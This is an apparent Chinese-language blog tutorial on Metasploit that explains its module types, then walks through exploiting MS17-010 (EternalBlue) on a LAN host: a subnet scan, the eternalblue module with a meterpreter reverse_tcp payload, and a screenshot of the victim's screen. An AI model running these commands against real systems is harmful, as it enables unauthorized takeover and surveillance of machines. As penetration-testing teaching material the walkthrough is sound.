一、前言
- Metasploit,一个开源的渗透测试框架,具体的介绍可以百度一下。我个人理解就是,一些安全团队或者开源贡献者,把他们发现的漏洞,利用的模块,攻击的模块等发布到这个框架里面,然后大家就可以共同使用,很方便的进行漏洞的验证、利用等。当然你有能力也可以为这个开源框架作贡献。
- 本文主要简单介绍Metasploit,然后会利用此工具进行一个常见漏洞(MS17-010)的渗透实测
二、相关工具准备
- msfconsole,Metasploit的命令行模式,kali里面自带的
- 通过各种漏扫已经发现局域网某台电脑存在 MS17-010漏洞,用于渗透测试
三、Metasploit 简介
1. 启动 Metasploit
- msfconsole可以理解为Metasploit在kali中的命令行模式,直接在终端中输入
msfconsole
image.png
- 我们可以看到当前有2017个exploits,562个payloads等信息,那么我们先来认识下这些名词到底是什么意思
- exploits,是渗透攻击模块,利用发现的安全漏洞或配置弱点对远程目标进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问的代码组件。
- payloads,是攻击载荷模块,用来在目标系统上完成实际的攻击功能的代码,比如反弹式shell、bind shell等。
- auxiliary,是辅助模块,主要用来执行扫描,嗅探,指纹识别等,算是信息搜集的内容
- post,是后渗透模块,在取得目标系统远程控制权后,可进行一系列获取敏感信息,跳板攻击等后渗透攻击的动作。
- encoders,是编码工具模块,确保攻击载荷中不会出现渗透攻击过程中应加以避免出现的“坏字符”,也可以用来进行免杀,防止被杀毒软件,防火墙,ids 等检测
- nops,空指令模块,空指令是对一些程序运行状态不会造成任何实质影响的空操作或者无关操作指令
- 除了以上名词,我们还经常听到 POC、EXP、Shellcode等,这些到底是什么?
- POC, Proof of Concept ,一般是指可以证明某个漏洞的代码
- EXP,是 Exploit 的简称。
- Shellcode,是Payload的一种,可以利用此代码获取shell,包括正向的,反向的,甚至meterpreter。
- 最后我们总结下,在整个渗透测试的过程中,它的步骤是 先POC,证明某个漏洞存在(比如使用上面的auxiliary模块扫描,或者别的漏扫工具等),然后exploit利用这个漏洞,利用这个漏洞具体干什么就通过加载不同payload,比如一段shellcode等
2. 更新 Metasploit
- 保持metasploit 模块的更新是非常有必要的,建议经常保持更新,在 kali 中直接使用更新命令即可(apt-get update,apt-get upgrade,apt-get dist-upgrade),一般使用前两个。
- apt-get update,用来更新索引源,也就是同步软件包的索引信息,可以理解为更新系统软件的下载地址。
- apt-get upgrade,用来升级系统上的软件包。
- apt-get dist-upgrade 用来升级整个 linux 系统,这个命令同时会升级所有已经安装的软件包。
四、Metasploit 渗透 MS17-010 漏洞实例
- 接下来我们会结合一个常见的漏洞(MS17-010),来介绍下Metasploit的使用方法
1. 搜索模块
- 搜索模块,比如查找MS17-010相关的模块,执行以下代码
search MS17-010
image.png
- 我们可以看到一些 auxiliary的辅助模块和一些exploit的攻击模块,至于使用哪一个,你可以根据模块的简介来判断,或者不怕麻烦就挨个试下
- 你用得多了自然就知道哪些是有用的模块,如果熟练了也可以跳过搜索的步骤
2. 扫描局域网中的MS17-010漏洞
- 我们先使用上面红框中的辅助模块来扫描下局域网中的的MS17-010漏洞,执行以下代码
use auxiliary/scanner/smb/smb_ms17_010
- 然后我们需要知道这个模块要使用那些参数,执行show options
required 列 如果为yes就代表是必填项,不过大多数都已经填上了默认值,我们重点关注下红框中的两个参数
- RHOSTS,设置需要扫描的IP,因为是局域网扫描,所以通常设置一个网段
set rhosts 192.168.1.0/24
image.png
- 这里我设置了 192.168.1.0/24 这个网段 (相当于从192.168.1.1到192.168.1.254 ),这是标准的IP段表示方法,不明白的自己百度
- 看参数说明应该也支持通过文件的方式加载IP,这里就不实验了
- THREADS,设置同时扫描的线程数,默认是1,我们改成10速度会快很多,当然电脑性能越好可以设置越大,最大可以设置到每个IP一个线程。然后输入run开始执行扫描,等待扫描结果
set threads 10
image.png
image.png
- 查看红框部分,这样我们就找到一个可能存在漏洞的IP:192.168.1.195
3. 加载攻击模块和攻击载荷模块
- 先执行back命令退出当前的扫描模块,然后再加载攻击模块
use exploit/windows/smb/ms17_010_eternalblue
- 设置攻击载荷模块payload,我这里使用的是reverse_tcp,这是一个基于TCP的反向链接反弹shell
set payload windows/x64/meterpreter/reverse_tcp
image.png
这里我就不再赘述了,总之,使用模块用use命令,设置参数用set 命令,要设置哪些参数show options查看
rhosts 就是攻击目标的IP
lhost 就是攻击者(你自己)的IP
-
输入run或者exploit开始攻击,当出现下面红框中的提示符时,表示已经攻击成功并反弹shell
image.png - 反弹了shell相当于就掌握了目标机器的控制权,你可以执行各种命令,比如新增用户,控制摄像头,屏幕截图,上传文件等等,你可以输入help查看具体的命令
-
这里我们输入了screenshot(屏幕截图),想看看目标电脑在干什么,屏幕截图会保存到了你的电脑中
image.png -
我们看到指定目录下,果然已经存在目标电脑的屏幕截图,到这里一次完整的利用Metasploit工具来渗透MS17-010漏洞的实测就结束了。
image.png
五、最后
- 本文主要介绍了Metasploit的入门使用方法,了解了Metasploit的各种模块,解释了一些容易混淆的常用名词。同时结合一个常见的漏洞(MS17-010),通过实战的方式,学习了Metasploit的常用命令。
- 文章中的部分内容,是基于本人的个人理解,如果有所错漏,请不吝赐教,大家一起交流学习
网友评论